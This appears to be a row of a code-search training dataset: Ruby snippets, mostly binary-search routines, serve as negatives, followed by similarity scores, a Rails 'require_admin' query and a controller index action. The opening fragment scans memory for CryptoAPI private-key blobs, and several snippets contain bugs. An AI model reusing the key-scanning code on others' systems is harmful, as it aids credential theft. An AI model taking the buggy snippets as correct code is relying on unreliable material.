key = nil\n\n bits = key_candidate.unpack(\"CCA6A4V\")\n key_type << ( bits[3] + \"-\" + bits[4].to_s + \"-\" )\n key_type << ( (bits[0] == 0x07) ? \"Private\" : \"Public\" )\n\n key_length = 0\n nbyte = (bits[4] + 7) >> 3\n hnbyte = (bits[4] + 15) >> 4 \n\n # DSA\n if bits[3].index('DSS')\n if bits[0] == 0x06\n # Expected length: 20 for q + 3 components bitlen each + 24 for seed structure.\n key_length = 44 + (3 * nbyte)\n else\n # Expected length: 20 for q, priv, 2 bitlen components + 24 for seed structure.\n key_length = 64 + (2 * nbyte)\n end\n # RSA\n else\n if bits[0] == 0x06\n # Expected length: 4 for 'e' + 'n'\n key_length = 4 + nbyte\n else\n # Expected length: 4 for 'e' and 7 other components. 2 components are bitlen size, 5 are bitlen/2\n key_length = 4 + (2 * nbyte) + (5 * hnbyte)\n end\n end\n\n key = buffer[last_offset, key_length + 16]\n next unless key.length == (key_length+16)\n\n report_hit(:type => \"CAPI-#{key_type}\", :data => key, :offset => source_offset + last_offset)\n end\n end", "def binary_search(array, length, value_to_find)\n high = length\n low = 0\n length.times do\n guess = (low + high) / 2\n return true if array[guess] == value_to_find\n return false if high - low <= 1\n array[guess] < value_to_find ? low = guess : high = guess\n end\nend", "def preorder_search(start, find_val)\n false\n end", "def binsearch(ary, x)\n left = 0\n right = ary.length - 1\n while left < right\n middle = (left + right) / 2\n Tanj.array :ary, index: [:left..:right, :middle]\n if ary[middle] == x\n Tanj.message \"found it!\"\n return middle\n elsif ary[middle] < x\n Tanj.message \"too small\"\n left = middle + 1\n elsif ary[middle] > x\n Tanj.message \"too large\"\n right = middle - 1\n else\n Tanj.message \"this should be unreachable!\"\n end\n end\n Tanj.message \"didn't find it\"\n return nil\nend", "def binary_search(arr, val, strategy='rec')\n if strategy != 'rec'\n search(arr, val)\n else\n rec_search(arr, val, 0, arr.size - 1)\n end\nend", "def binary_search(binaryMatrix,start,last,n,row)\n\tif start > last\n\t\treturn -1\n\tend\n\tmid = start + (last-start)/2\n\tif binaryMatrix.get(row,mid) == 1\n\t\tif binaryMatrix.get(row,mid-1) == 0 || mid == 0\n\t\t\treturn mid\n\t\telse\n\t\t\tbinary_search(binaryMatrix,start,mid-1,n,row)\n\t\tend\t\n\telsif binaryMatrix.get(row,mid) == 0\n\t\tbinary_search(binaryMatrix,mid+1,last,n,row)\n\tend\nend", "def binary_search(name)\n #1 we save index of leftmost item in array called lower\n #index of rightmost item stored at upper\n lower = 0\n upper = entries.length - 1\n\n #2 loop while our lower index is less than or equal to our upper index\n while lower <= upper\n #3 find the middle index by taking sum of\n #lower and upper and dividing by two\n #retrieve name of entry at middle index and store it in mid_name\n mid = (lower + upper) / 2\n mid_name = entries[mid].name\n\n #4 compare name we are searching for to name of middle index mid_name\n if name == mid_name #found name we are looking for\n return entries[mid] #return entry ad index mid\n elsif name < mid_name #set upper to mid - 1 b/c name must be in lower half of array\n upper = mid - 1\n elsif name > mid_name #alphabetically after mid_name then we set lower\n lower = mid + 1 #lower is set to mid + 1 b/c name must be in the upper half of array\n end\n end\n\n #5 if we divide and conque until no match is found then return nil\n return nil\n end", "def binary_search(array, key, start_position)\n left = start_position\n right = array.size - 1\n\n while left < right\n mid = (left + right) / 2\n\n if array[mid] < key\n left = mid + 1\n else\n right = mid\n end\n end\n\n (left == right && array[left] == key) ? left : -1\nend", "def binary_search(elem, field=nil, low=0, high=self.length-1)\n mid = low+((high-low)/2).to_i\n if low > high \n return -(low + 1)\n end\n mid_elt = (field.nil?) ? self[mid] : self[mid].send(field)\n if elem < mid_elt\n return binary_search(elem, field, low, mid-1)\n elsif elem > mid_elt\n return binary_search(elem, field, mid+1, high)\n else\n return mid\n end\n end", "def binary_search(arr, target, idx_puls = 0)\n mid = arr.length / 2\n return mid + idx_puls if arr[mid] == target\n return nil if arr.length == 1\n\n if arr[mid] < target\n binary_search(arr[(mid + 1)..-1], target, mid + 1)\n else\n binary_search(arr[0...mid], target, idx_puls)\n end\n\nend", "def binary_search(target, array)\n length = array.length\n center = length / 2\n first = 0\n last = length - 1\n\n while first <= last\n if array[center] == target\n return array.index(target)\n elsif array[center] < target\n first = center + 1\n center = (first + last) / 2\n else\n last = center - 1\n center = (first + last) / 2\n end\n end\n\n return -1\nend", "def work!\n (@start..@stop).each {|i| return if $found; d = $data[i]; $found = true and puts \"Found #{d}\" if d == $search_key }\n end", "def binary_search(name)\n # we save the index of the left most item in the array in a var named lower.\n # and the index of the rightmost item in the array in upper.\n lower = 0\n upper = entries.length - 1\n\n # we loop while our lower index is less than or equal to the upper index.\n while lower <= upper\n # we find the middle index by taking the sum of lower and upper and dividing it by two.\n # then we retrieve the name of the entry at the middle index and store it in mid_name.\n mid = (lower + upper) / 2\n mid_name = entries[mid].name\n\n # we compare the name that we are search for, name to the name of the middle index, mid_name.\n # note - search is case sensitive.\n if name == mid_name\n return entries[mid]\n elsif name < mid_name\n upper = mid - 1\n elsif name > mid_name\n lower = mid + 1\n end\n end\n\n #if we divide and conquer to the point where there is no match, we return nil.\n return nil\n end", "def find_entry_by_ip_address(ip_address)\n @entries.find do |entry|\n !entry.ip_address.nil? && entry.ip_address == ip_address\n end\n end", "def binary_search(name)\r\n # #1 save array index first item as 'lower' and last as 'upper'\r\n lower = 0\r\n upper = entries.length - 1\r\n \r\n # #2 loop while lower index < higher index\r\n while lower <= upper\r\n # #3 establish a middle spot and name as mid_name\r\n mid = (lower + upper)/2\r\n mid_name = entries[mid].name\r\n \r\n # #4 Compare search name with middle index (mid_name)\r\n if name == mid_name #if that's it, return it\r\n return entries[mid]\r\n elsif name < mid_name #if it's before mid_name...\r\n upper = mid -1 #...set upper to mid-1\r\n elsif name > mid_name #if it's after mid_name...\r\n lower = mid +1 #...set lower to mid +1\r\n end #end if\r\n end #end 'while' loop\r\n #***half the list continually until we find what we're looking for***\r\n \r\n # #5 **if no match is found, return 'nil'\r\n return nil\r\n end", "def binary_search(array, length, value_to_find)\n found = false\n length.times do |i|\n if array[i] == value_to_find\n found = true\n break\n end\n end\n return found\nend", "def binary_search_rec(a, key, low, high)\n# At every step, consider the array between low and high indices\n# When low is greater than high, the key doesn’t exist and -1 is returned.\n if low > high\n return -1\n end\n\n\n# Calculate the mid index.\n mid = low + ((high - low) / 2)\n\n# If the element at the mid index is the key, return mid.\n if a[mid] == key\n return mid\n\n# If the element at mid is greater than the key, then change the index high to mid - 1.\n# The index at low remains the same.\n elsif key < a[mid]\n return binary_search_rec(a, key, low, mid - 1)\n else\n# If the element at mid is less than the key, then change low to mid + 1. The index at high remains the same.\n return binary_search_rec(a, key, mid + 1, high)\n end\nend", "def binary_search(a, key)\n low = 0\n high = a.length - 1\n\n while low <= high\n mid = low + ((high - low) / 2)\n\n return mid if a[mid] == key\n\n if key < a[mid]\n high = mid - 1\n else\n low = mid + 1\n end\n end\n\n return -1\nend", "def index_offset(io, tag='indexListOffset', bytes_backwards=200)\n tag_re = %r{<#{tag}>([\\-\\d]+)</#{tag}>}\n io.pos = (io.size - 1) - bytes_backwards\n md = io.readlines(\"\\n\").map {|line| line.match(tag_re) }.compact.shift\n md[1].to_i if md\n end", "def binary_search(array, length, value_to_find)\n middle = length / 2\n low = 0\n high = length - 1\n\n while low <= high\n\n if array[middle] == value_to_find\n return value_to_find\n elsif array[middle] < value_to_find\n low = middle + 1\n else\n high = middle - 1\n end\n\n middle = (low + high) / 2\n end\n\n return false\nend", "def search( expression )\n out_count = ::FFI::MemoryPointer.new :pointer\n out_list = ::FFI::MemoryPointer.new :pointer\n out_list = lib.tcidbsearch2( @db, expression, out_count )\n\n count = out_count.read_int\n results = out_list.get_array_of_uint64(0, count )\n return results\n end", "def bsearch(array, value)\n return nil if array.empty?\n # return nil if !array.include?(value)\n\n # debugger\n indeces = array.dup.freeze #[1, 2, 3]\n \n middle = (array.length) / 2\n left = array[(0...middle)]\n right = array[(middle..-1)]\n\n # debugger\n if array[middle] == value\n return indeces.index(value) \n elsif value < array[middle]\n bsearch(left, value)\n else\n middle + bsearch(right, value)\n end\n #somewhere bsearch(array[(0..-2)]\nend", "def _find_next regex=@last_regex, start = @search_found_ix \n raise \"No previous search\" if regex.nil?\n #$log.debug \" _find_next #{@search_found_ix} : #{@current_index}\"\n fend = @list.size-1\n if start != fend\n start += 1 unless start == fend\n @last_regex = regex\n @search_start_ix = start\n regex = Regexp.new(regex, Regexp::IGNORECASE) if @search_case\n start.upto(fend) do |ix| \n row = @list[ix]\n m=row.match(regex)\n if !m.nil?\n @find_offset = m.offset(0)[0]\n @find_offset1 = m.offset(0)[1]\n @search_found_ix = ix\n return ix \n end\n end\n end\n fend = start-1\n start = 0\n if @search_wrap\n start.upto(fend) do |ix| \n row = @list[ix]\n m=row.match(regex)\n if !m.nil?\n @find_offset = m.offset(0)[0]\n @find_offset1 = m.offset(0)[1]\n @search_found_ix = ix\n return ix \n end\n end\n end\n return nil\n end", "def binary_search(target, array)\r\n\t#Your code here\r\n\tindex = array.length / 2\r\n\tlo = 0\r\n\thi = array.length - 1\r\n\twhile array[index] != target && array.include?(target)\r\n\t\tif array[index] > target\r\n\t\t\thi = index - 1\r\n\t\t index = (lo + hi) / 2\r\n\t\telsif array[index] < target\r\n\t\t\tlo = index + 1\r\n\t\t\tindex = (lo + hi) / 2\r\n\t\tend\r\n\tend\r\n\tif array[index] == target\r\n\t\treturn index\r\n\telse\r\n\t\treturn -1\r\n\tend \r\nend", "def recompute_offsets()\n @header.resource_index.number_of_records = @records.length\n # @header.resource_index.next_index = 0 # TODO: How is this determined?\n\n curr_offset = PDB::Header.round_byte_length\n\n # Compute length of index...\n unless @index == []\n @index.each do |i|\n curr_offset += i.length()\n end\n end\n\n unless @appinfo.nil?\n @header.appinfo_offset = curr_offset\n curr_offset += @appinfo.length()\n end\n\n unless @sortinfo.nil?\n @header.sortinfo_offset = curr_offset\n curr_offset += @sortinfo.length()\n end\n\n ## And here's the mysterious two-byte filler.\n #curr_offset += 2\n\n unless @index.length == 0\n @index.each do |i|\n rec = @records[i.r_id]\n i.offset = curr_offset\n curr_offset += rec.length\n end\n end\n end", "def binary_search(array, key)\n low, high = 0, array.length - 1\n while low <= high\n mid = (low + high) >> 1\n case key <=> array[mid] # if key < array[mid] then return -1 if key = array[mid] then 0 else return 1\n\t when 1\n low = mid + 1\n when -1\n high = mid - 1\n else\n return mid\n end\n end\nend", "def cidr_lookup (ip)\n\t\tputs \"Lookup the CIDR name from the known CIDR list for the IP: #{ip}\" if @verbose\n\t\treturn nil if @known_cidr_blks==nil\n\t\tputs \"CIDR Lookup: #{ip} ...\" if @verbose\n\t\t@known_cidr_blks_desc_index.each do |line|\n\t\t\tfirst_octet_ip = ip.split('.').first.to_i\n\t\t\tfirst_octet_blk = line.split('.').first.to_i\n\t\t\tnext if first_octet_blk > first_octet_ip\n\t\t\tcidr4 = NetAddr::CIDR.create(line)\n\t\t\tknown = cidr4.contains?(ip+'/32')\n\t\t\treturn line if known\n\t\tend\n\trescue => ee\n\t\tputs \"Exception on method #{__method__}: #{ee}\" if @verbose\n\t\treturn nil\n\tend", "def binary_search(array, target)\n lower_bound = 0\n upper_bound array.length - 1\n while lower_bound <= upper_boud do\n midpoint = (upper_bound + lower_bound) / 2\n value_at_midpoint = array[midpoint]\n if target == value_at_midpoint\n return midpoint\n elsif target < value_at_midpoint\n upper_bound = midpoint - 1\n elsif target > value_at_midpoint\n lower_bound = midpoint + 1\n end\n end\n return nil\nend", "def binary_search(value)\n search_result = binary_search_internal(value)\n return search_result[0] ? search_result[1] : -1\n end", "def load_records\n get_paging_parameters\n @filter, @subfilter, find_include, find_conditions, @total_records = filter_prepare\n find_order = @sortable_columns.has_key?(@sidx) ? (@sortable_columns[@sidx] + ' ' + ((@sord == 'desc') ? 'DESC' : 'ASC')) :\n (@default_sidx ? @sortable_columns[@default_sidx] + ' ASC' : nil)\n # find_order = @sortable_columns.include?(@sidx) ? (@sidx + ' ' + ((@sord == 'desc') ? 'DESC' : 'ASC')) :\n # (@default_sidx ? @default_sidx + ' ASC' : nil)\n rows_per_page = @rows_per_page\n if rows_per_page > 0\n @total_pages = (@total_records > 0 && rows_per_page > 0) ? 1 + (@total_records/rows_per_page).ceil : 0\n @page = @total_pages if @page > @total_pages\n @page = 1 if @page < 1\n @start_offset = rows_per_page*@page - rows_per_page\n else\n @total_pages = 1\n rows_per_page = @total_records\n @start_offset = 0\n end\n if @start_offset < 0\n puts \"??Why is start_offset negative?\"\n @start_offset = 0\n end\n if @livesearch && @livesearch.size > 0\n livesearch_fields = @livesearch_fields[@livesearch_field] rescue []\n if livesearch_fields.size > 0\n fields_conditions = []\n @livesearch.split(' ').each do |substring|\n live_conditions = [] \n livesearch_fields.each do |f|\n find_conditions << \"%#{substring}%\"\n live_conditions << \"#{f} LIKE ?\" \n end\n fields_conditions << '(' + live_conditions.join(' or ') + ')'\n end\n find_conditions[0] += ' and (' + fields_conditions.join(' and ') + ')'\n end\n end\n puts \"Rows per page #{@rows_per_page}, offset #{@start_offset}, find_order #{find_order}, find_conditions #{find_conditions}, find_include #{find_include}.\"\n scoped_model.find(:all, :include => find_include, :conditions => find_conditions,\n :limit => rows_per_page, :offset => @start_offset, :order => find_order)\n end", "def bsearch(sorted_array, target)\n return nil if sorted_array.empty?\n \n i_mid = (sorted_array.length-1) / 2\n mid = sorted_array[i_mid]\n \n if target == mid\n i = i_mid\n elsif target < mid\n i = bsearch(sorted_array[0...i_mid], target)\n else\n i = bsearch(sorted_array[i_mid + 1..-1], target)\n i += mid + 1 if i\n end\n \n i\nend", "def findBlock(pieceIndex, offset, length)\n leftOffset = @pieceSize*pieceIndex + offset\n rightOffset = leftOffset + length-1\n\n findPart(leftOffset, rightOffset)\n end", "def binary_search(name)\n # index of the leftmost entry in entries array is stored in variable lower\n lower = 0\n # index of the rightmost entry\n upper = entries.length - 1\n\n while lower <= upper\n # find middle index\n mid = (lower + upper) / 2\n # retrieve the name of the entry at the middle index and store it in mid_name\n mid_name = entries[mid].name\n\n # compare the 'name' we are searching for with the name stored in middle index, mid_name\n if name == mid_name\n return entries[mid]\n # If name is alphabetically before mid_name. Then loop through lower half of array\n elsif name < mid_name\n upper = mid - 1\n # If name is alphabetically after mid_name. Then loop throught upper half of array.\n elsif name > mid_name\n lower = mid + 1\n end\n end\n # match not found\n return nil\n end", "def print_search_start(key, index)\n explain \"-\" * 120\n explain \"Already sorted zone:\"\n explain \"[#{@list[0..index - 1].join(\" \")}]\"\n explain \"\"\n explain \"Key: #{key}\"\n puts_key_pointer(index, show_list: true)\n end", "def ubiquitous_binary_search(a,key) # a is the array and key is the value we want to search\n lo= 0\n hi = a.length-1\n \n while(hi-lo>1)\n mid = lo + (hi-lo)/2\n \n if a[mid]<=key\n lo=mid\n else\n hi=mid\n end\n end\n \n if (a[lo]== key)\n return lo\n elsif (a[hi]== key)\n return hi\n else\n return \"value not found\"\n end\nend", "def bin_search(arr, key)\n low = 0\n high = arr.length - 1\n while high >= low do\n mid = low + (high - low) / 2\n if arr[mid] > key\n high = mid - 1\n elsif arr[mid] < key\n low = mid + 1\n else\n return mid\n end\n end\n return 0\nend", "def binary_search(name)\n # Save the index of the leftmost item in the array in a variable named lower and the index of\n # the righmost in the variable upper\n lower = 0\n upper = entries.length - 1\n\n # We loop while our lower index is less than or equal to our upper index\n while lower <= upper\n # We find the middle index then retrieve the name and store it in the variable mid_name\n mid = (lower + upper) / 2\n mid_name = entries[mid].name\n\n # Compare the name we are searching for with mid_name and iterate until we find the correct name\n if name == mid_name\n return entries[mid]\n elsif name < mid_name\n upper = mid -1\n elsif name > mid_name\n lower = mid + 1\n end\n end\n \n # If no match is found we return nil\n return nil\n end", "def find_code_insert_point (fileArray, utilHash)\n find_match_index(fileArray, utilHash[\"match_code\"])\nend", "def line_for_offset(offset)\n if @prev_offset == offset\n # use cache\n return @prev_line\n end\n line_nbr = ary_bsearch_i(line_index, offset)\n if line_nbr\n # cache\n @prev_offset = offset\n @prev_line = line_nbr\n return line_nbr\n end\n # If not found it is after last\n # clear cache\n @prev_offset = @prev_line = nil\n return line_index.size\n end", "def bin_search(d, arr)\n middle = arr.length / 2\n i = 0\n j = arr.length - 1\n \n while i < j\n if arr[middle] == d\n return true\n elsif arr[middle] < d\n i = middle + 1\n middle = i + j / 2\n else\n j = middle - 1\n middle = i + j / 2\n end\n end\n return false\nend", "def scan_logfile(file, backlog_minutes, pattern)\n offset_found = false\n from_time = Time.now - backlog_minutes*60\n offset = from_time.to_s.split[1..3].join(\" \")\n File.open(file) do |f|\n while line = f.gets do\n tokens = line.split[0..3]\n hour, min, sec = tokens[2].split(\":\")\n t = Time.local(Time.now.year, tokens[0], tokens[1].to_i, hour.to_i, min.to_i, sec.to_i)\n if t > from_time\n offset_found = true\n end\n if offset_found and line =~ pattern\n return line\n end\n end\n end\nend", "def bin_search(target,array)\n lo = 0\n hi = array.length - 1\n mid = (lo+hi)/2\n while lo <= hi\n if array[mid] > target\n hi = mid-1\n mid = (lo+hi)/2\n elsif array[mid] < target\n lo = mid+1\n mid = (lo+hi)/2\n else\n return mid\n end\n end\n return -1\nend", "def binary_search_iterative(array, target)\n# declare variables for low and high positions\nlow_index = 0\nhigh_index = array.length - 1\nmid_index = (high_index + low_index) / 2\n\n# while the low is less than the high\nwhile low_index <= high_index do\n\n return mid_index if target == array[mid_index]\n\n puts \"#{low_index} #{mid_index} #{high_index}\"\n\n if low_index == mid_index\n return high_index\n elsif target > array[mid_index]\n # move lower bound up to mid, recalculate new mid\n low_index = mid_index\n # set the high halfway between\n mid_index = (low_index + high_index) / 2\n elsif target < array[mid_index]\n # move upper bound to mid, recalculate new mid\n high_index = mid_index\n mid_index = (low_index + high_index) / 2\n end\n end\nend", "def scan(s)\n until s.nil?\n len = s[0...2].ret2ushort\n ele = s[2...4].ret2ushort\n tpe = s[4...6].ret2ushort\n dat = s[6...len]\n if s.length > len\n s = s[len...s.length]\n else\n s = nil\n end\n case ele\n when Fields::DE32\n dat = scan(dat)\n when Fields::CALL_SEARCH_RESULT\n add_field(Fields::IRIS, dat[0...12])\n add_field(Fields::CALL_SEARCH_RESULT, dat[12...dat.length])\n next\n end\n add_field( ele, dat)\n end\n r\n end", "def binary_search(name)\n # We save the position of the first item in the array\n # using the 'lower' variable, and the position of the\n # last item in the array in the 'upper' variable.\n lower = 0\n upper = entries.length - 1\n\n # Here we loop over the array while 'lower' is less \n # than or equal to the 'upper' variable.\n while lower <= upper\n # We set the varible 'mid' to be the index in the\n # middle of the array. Ruby automatically truncates\n # any decimal numbers. ie: 2.5 becomes 2 .\n mid = (lower + upper) / 2\n # We then set the 'mid_name' variable to the name\n # attribute of the entry in the middle of the array.\n mid_name = entries[mid].name\n # Next, we see if the 'mid_name' variable is the same\n # as the 'name' variable we passed in. If it is the\n # same we return the entry.\n if name == mid_name\n return entries[mid]\n # If it isn't the same we then check if 'name' is less\n # than 'mid_name' (Ruby automatically uses lexicographial\n # order). If so we set 'upper' to be one index less than\n # the 'mid' index.\n elsif name < mid_name\n upper = mid - 1\n # If 'name' isn't less than 'mid_name', we check if it is \n # greater than 'mid_name' (I believe we could just use an\n # else statement here). If so we set 'lower' to be one index\n # higher than 'mid'.\n elsif name > mid_name\n lower = mid + 1\n end\n end\n # If we divide and conquer to the point where no match is found\n # we then return nil.\n return nil\n\n end", "def convert_binary_recordroutes(data, print=false)\n offset=0\n recordroutes=[]\n #while not probes.eof?\n while not offset>=data.length\n rr=data[offset,72].unpack(\"N3LfL2N9L2\")\n offset += 72\n if rr.nil? or rr.include?(nil)\n raise TruncatedTraceFileException.new(recordroutes), \"Error reading header\", caller\n end\n dst=Inet::ntoa(rr.at(0))\n rtt=rr.at(4)\n ttl=rr.at(5)\n hops=rr[7..15].collect{|x| Inet::ntoa(x)}\n\n recordroutes << [dst,hops,rtt,ttl]\n if print\n $stdout.puts \"#{dst} #{rtt} #{hops.join(\" \")}\"\n end\n end\n return recordroutes\nend", "def bsearch(arr,target)\n# p arr\nreturn nil if arr.length==1 && target != arr[0]\nmid =arr.length/2 # 3,1,1,0\n# if arr.length==1 && arr[0] != target\n# return nil\n# end\n\n\nif target==arr[mid]\n\nreturn mid\nelsif target<arr[mid]\n left_index = 0\n right_index = mid-1\n return bsearch(arr[left_index..right_index],target)\n# return bsearch(arr.take(mid),target)\nelse\n left_index = mid+1\n right_index = arr.length-1\n sub_position=bsearch(arr[left_index..right_index],target)\n # sub_position=bsearch(arr.drop(mid+1),target)\n return sub_position.nil? ? nil : (mid+1)+sub_position \n\nend\nend", "def bsearch(array, target)\nend", "def zscan(key, cursor, **options); end", "def binary_search_while_loop(array, desired_num)\n\n start_index = 0\n end_index = array.length - 1\n\n while start_index <= end_index\n mid_index = (start_index + end_index) / 2\n\n if array[mid_index] == desired_num\n return mid_index\n elsif array[mid_index] > desired_num\n end_index = mid_index - 1\n elsif array[mid_index] < desired_num\n start_index = mid_index + 1\n end\n\n end\n\n return -1\nend", "def binary_search(arr,tar)\n return nil if arr.length < 1\n mid_idx = arr.length / 2\n if arr[mid_idx] == tar\n return mid_idx\n elsif arr[mid_idx] > tar\n binary_search(arr[0...mid_idx],tar)\n elsif arr[mid_idx] < tar\n subanswer = binary_search(arr[mid_idx+1..-1],tar)\n subanswer.nil? ? nil : (mid_idx+1) + subanswer\n end\nend", "def binary_search(arr, target)\n return nil if arr.empty?\n probe_index = arr.size / 2\n probe_ele = arr[probe_index]\n\n case probe_ele <=> target\n when 1\n left_arr = arr.take(probe_index) \n return binary_search(left_arr,target)\n when 0 \n return probe_index\n when -1\n compensated_index = (probe_index + 1)\n right_arr = arr.drop(compensated_index)\n return nil if binary_search(right_arr,target).nil?\n return binary_search(right_arr,target) + compensated_index\n end\nend", "def sync_bytes_offset_in_4_byte_seq(four_bytes)\n four_bytes[0...3].each_with_index do |byte, i|\n next_byte = four_bytes[i + 1]\n return i if byte == 0xFF && next_byte > 0xE0\n end\n four_bytes[-1] == 0xFF ? 3 : 4\n end", "def bsearch(array, target)\n return nil if array.empty?\n\n mid_idx = array.length / 2\n mid_ele = array[mid_idx]\n\n return mid_idx if target == mid_ele\n\n if target < mid_ele\n sub_arr = array[0...mid_idx]\n return bsearch(sub_arr, target)\n else\n sub_arr = array[mid_idx + 1..-1]\n next_search = bsearch(sub_arr, target)\n return nil if next_search == nil\n return mid_idx + 1 + next_search\n end\nend", "def binary_search(array, value)\n \n # First, we establish the lower and upper bounds of where the value we are\n # searching for can be. At the beginning, the lower bound is the first value\n # of the array and the upper bound is the last value of the array.\n lower_bound = 0\n upper_bound = array.length - 1\n\n # Now we start searching for the value inside the array between the lower and upper bounds.\n # In each iteration of the loop, we check the middle value between the lower and upper bounds\n # against the value we are searching for. If the middle value matches the value we are searching\n # for then we stop, otherwise we update the lower and upper bounds of our search accordingly(Should\n # we search to the right or the left of the mid point in the next iteration to find the value we are\n # looking for).\n #\n # If the value at the mid point matches with the value we are looking for, we are done and we return\n # the mid point(index of the value we are looking for).\n #\n # If the value is lower than the value at the mid point, we should to search to the left side of the mid point\n # in the next iteration. So we set the upper bound to the left of mid point.\n #\n # If the value is higher than the value at the mid point, we should to search to the right side of the mid point\n # in the next iteration. So we set the lower bound to the right of mid point.\n\n while lower_bound <= upper_bound\n\n # Find the mid point between the upper and lower bounds\n mid_point = (lower_bound + upper_bound) / 2\n\n # Look up the value at the mid point\n value_at_mid_point = array[mid_point]\n\n # Check the value at the mid point against the value we are looking for:\n\n if value == value_at_mid_point\n return mid_point\n elsif value < value_at_mid_point\n upper_bound = mid_point - 1\n elsif value > value_at_mid_point\n lower_bound = mid_point + 1\n end\n end\n\n # If the value is not found, return nil indicating the value we are searching for\n # doesn't exist inside the array.\n return nil\nend", "def binary_search(array, number)\n spot = array.length / 2\n puts spot.to_s + \" hi\"\n until array[spot] == number \n if array.length[spot] < number\n spot = spot + (spot / 2)\n elsif array.length[spot] > number\n spot = spot - (spot / 2)\n end\n\n return spot\n end\n\n puts array[spot]\n puts spot\n\nend", "def binary_search(array, find)\n\tlow = 0\n\thi = array.length-1 \n\n\twhile (low <= hi)\n\t\tmid = low + (hi-low)/2\n\n\t\tif array[mid] == find\n\t\t\treturn mid\n\t\telsif array[mid] < find\n\t\t\tlow = mid + 1\n\t\telse \n\t\t\thi = mid - 1\n\t\tend\t\n\tend\n\n\treturn \"Value not found in array\"\n\nend", "def binary_search(array, target)\n lower_bound = 0\n upper_bound = array.length - 1\n while lower_bound <= upper_bound\n midpoint = (lower_bound + upper_bound) / 2\n value_at_midpoint = array[midpoint]\n if target = value_at_midpoint\n return midpoint\n elsif target > value_at_midpoint\n lower_bound = midpoint + 1\n elsif target < value_at_midpoint\n upper_bound = midpoint - 1\n end\n end\n return nil\nend", "def linear_search_from_cursor(search_cursor, key)\n Innodb::Stats.increment :linear_search_from_cursor\n\n this_rec = search_cursor.record\n\n if Innodb.debug?\n puts \"linear_search_from_cursor: page=%i, level=%i, start=(%s)\" % [\n offset,\n level,\n this_rec && this_rec.key_string,\n ]\n end\n\n # Iterate through all records until finding either a matching record or\n # one whose key is greater than the desired key.\n while this_rec && (next_rec = search_cursor.record)\n Innodb::Stats.increment :linear_search_from_cursor_record_scans\n\n if Innodb.debug?\n puts \"linear_search_from_cursor: page=%i, level=%i, current=(%s)\" % [\n offset,\n level,\n this_rec.key_string,\n ]\n end\n\n # If we reach supremum, return the last non-system record we got.\n return this_rec if next_rec.header.type == :supremum\n\n return this_rec if this_rec.compare_key(key).negative?\n\n # The desired key is either an exact match for this_rec or is greater\n # than it but less than next_rec. If this is a non-leaf page, that\n # will mean that the record will fall on the leaf page this node\n # pointer record points to, if it exists at all.\n return this_rec if !this_rec.compare_key(key).negative? && next_rec.compare_key(key).negative?\n\n this_rec = next_rec\n end\n\n this_rec\n end", "def record_bytes(start_byte, end_byte)\n check_range(start_byte, end_byte)\n\n start_item, end_item = boundary_items(start_byte, end_byte)\n\n start_index = @bytes.index(start_item)\n end_index = @bytes.index(end_item)\n\n result = Array.new(3)\n\n if start_item[2] && end_item[2]\n result[0] = [start_item[0], end_item[1], true]\n elsif start_item[2]\n result[0] = [start_item[0], end_byte, start_item[2]]\n result[1] = [end_byte + 1, end_item[1], end_item[2]]\n elsif end_item[2]\n result[0] = [start_item[0], start_byte - 1, start_item[2]]\n result[1] = [start_byte, end_item[1], true]\n else\n result[0] = [start_item[0], start_byte - 1, start_item[2]]\n result[1] = [start_byte, end_byte, true]\n result[2] = [end_byte + 1, end_item[1], end_item[2]]\n end\n\n result.map! do |item|\n if !item.nil? && item[0] > item[1]\n item = nil\n end\n item\n end\n\n result.compact!\n\n # save result at selected range\n @bytes[start_index..end_index] = result\n\n # consolidate bytes\n (0...@bytes.length - 1).each do |i|\n if @bytes[i][2] == @bytes[i + 1][2]\n @bytes[i + 1][0] = @bytes[i][0]\n @bytes[i] = nil\n end\n end\n @bytes.compact!\n @bytes\n end" ]
[ "0.6371318", "0.6009012", "0.5734358", "0.5462963", "0.5446285", "0.5412746", "0.54000175", "0.53929466", "0.5368981", "0.5339287", "0.5331705", "0.5317406", "0.5299045", "0.52824235", "0.52766466", "0.5275543", "0.5251956", "0.5244654", "0.5239941", "0.5223484", "0.51991427", "0.5186444", "0.51707566", "0.5167754", "0.51400757", "0.51370454", "0.5133669", "0.5125316", "0.5111694", "0.5090362", "0.50867903", "0.5078601", "0.50642836", "0.5046044", "0.5035223", "0.50351954", "0.50310546", "0.50228846", "0.50157773", "0.5002663", "0.49952888", "0.49885568", "0.4985267", "0.49763784", "0.4967107", "0.49373934", "0.49289605", "0.4920401", "0.48957735", "0.48874635", "0.4875181", "0.48625448", "0.48624438", "0.48581153", "0.48555434", "0.48550814", "0.48519453", "0.4850149", "0.48484492", "0.48484382", "0.48403263", "0.48356214", "0.48346692", "0.4832329", "0.48279446", "0.48206836", "0.4814571", "0.48109174", "0.48095605", "0.4809283", "0.47940373", "0.4792217", "0.47887316", "0.47807825", "0.47793996", "0.4777496", "0.47750333", "0.47747332", "0.47745275", "0.47702765", "0.47642374", "0.47634384", "0.47531915", "0.47522482", "0.47518867", "0.47485366", "0.4746512", "0.47441983", "0.47396234", "0.47289577", "0.47228223", "0.47168544", "0.4703683", "0.47003284", "0.46998575", "0.4698234", "0.469684", "0.4696077", "0.46879953", "0.46834987" ]
0.6662962
0
before_action :require_admin, only: [:destroy]
def index @activities = Activity @pens = Pen @new_maintenance = Maintenance.new @users = User @maintenances = Activity.find_by_sql("select x.id, x.user_id, x.pen_id, x.created_at, x.pen_maintenance_check, y.resolved from( select a.id, a.pen_id, a.created_at, a.user_id, a.pen_maintenance_check from ( select max(activities.created_at) as created_at from activities group by activities.pen_id ) as b inner join activities as a on a.created_at = b.created_at) as x left outer join maintenances as y on x.id = y.activity_id where x.pen_maintenance_check = 1 and (y.resolved = 0 or y.resolved is NULL)") @maintenances = @maintenances.paginate(page: params[:page], per_page: 4) #.paginate(page: params[:page], per_page: 5) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
